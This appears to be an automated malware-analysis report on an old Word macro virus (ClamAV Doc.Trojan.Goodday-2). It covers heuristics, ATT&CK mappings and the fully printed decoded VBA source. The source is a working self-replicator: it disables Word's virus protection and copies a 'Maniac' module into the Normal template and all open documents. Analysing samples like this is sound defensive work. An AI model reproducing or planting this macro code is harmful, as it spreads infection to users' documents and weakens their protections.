MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are commonly used for malicious purposes. The 'MacroCopy' subroutine attempts to copy the 'Maniac' macro module to the Normal template and any currently open documents, indicating an attempt to establish persistence or spread the macro. The ClamAV detection 'Doc.Trojan.Goodday-2' further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Goodday-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Goodday-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1599 bytes |
SHA-256: 8fa6a25cb9215aee32c1e231a0165474ec59c9ff540319872b004b21ce70722f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Maniac"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "º�EÚ 99-05-05 ÓÉ Administrator ´´½¨"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
MacroCopy "open"
End Sub
Sub AutoNew()
MacroCopy "new"
End Sub
Sub AutoClose()
MacroCopy "close"
End Sub
Sub MacroCopy(ctype)
On Error GoTo 0
Application.Options.VirusProtection = False
TExist = 0
'For Each xItem In NormalTemplate.VBProject.VBComponents
For Each xitem In NormalTemplate.VBProject.VBComponents
'If xitem.Type = vbext_ct_StdModule Then Count = Count + 1
If xitem.Name = "Maniac" Then TExist = 1
Next xitem
If TExist = 0 Then _
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
For Each openDoc In Documents
'MsgBox openDoc.FullName
DExist = 0
For Each xitem In openDoc.VBProject.VBComponents
If xitem.Name = "Maniac" Then DExist = 1
Next xitem
If DExist = 0 Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=openDoc.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
If ctype = "open" Then openDoc.Save
End If
Next openDoc
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.